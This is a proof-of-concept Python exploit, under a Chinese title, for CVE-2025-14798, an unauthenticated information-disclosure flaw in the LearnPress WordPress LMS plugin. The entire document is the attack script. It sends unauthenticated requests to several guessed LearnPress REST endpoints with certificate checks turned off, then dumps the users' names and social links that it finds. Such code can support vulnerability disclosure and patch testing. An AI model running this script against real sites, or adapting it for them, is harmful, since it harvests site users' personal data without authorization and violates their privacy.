CVE-2025-14798 LearnPress WordPress LMS插件敏感信息泄露漏洞

import requests import json # CVE-2025-14798 PoC - LearnPress Sensitive Information Disclosure # Target: WordPress site with LearnPress plugin <= 4.3.2.4 def exploit_cve_2025_14798(target_url): """ Exploit for CVE-2025-14798: LearnPress Unauthenticated Sensitive Info Disclosure This PoC demonstrates how an unauthenticated attacker can extract user data. """ # Common LearnPress REST API endpoints endpoints = [ '/wp-json/lp/v1/users', '/wp-json/learnpress/v1/users', '/wp-json/lp/v1/courses/users', ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/json', } print(f'[*] Testing target: {target_url}') print(f'[*] CVE-2025-14798 - LearnPress Information Disclosure') for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f'\n[*] Testing endpoint: {url}') try: # No authentication required - this is the vulnerability response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: data = response.json() print(f'[+] SUCCESS! Retrieved data from {endpoint}') print(f'[+] Response: {json.dumps(data, indent=2, ensure_ascii=False)}') # Extract sensitive information if isinstance(data, list): for user in data: first_name = user.get('first_name', 'N/A') last_name = user.get('last_name', 'N/A') social = user.get('social', {}) print(f'\n[+] User: {first_name} {last_name}') print(f'[+] Social links: {social}') return True except requests.exceptions.RequestException as e: print(f'[-] Error accessing {endpoint}: {e}') print('\n[-] No vulnerable endpoints found or target is patched') return False if __name__ == '__main__': import sys if len(sys.argv) > 1: target = sys.argv[1] else: target = 'http://target-wordpress-site.com' exploit_cve_2025_14798(target)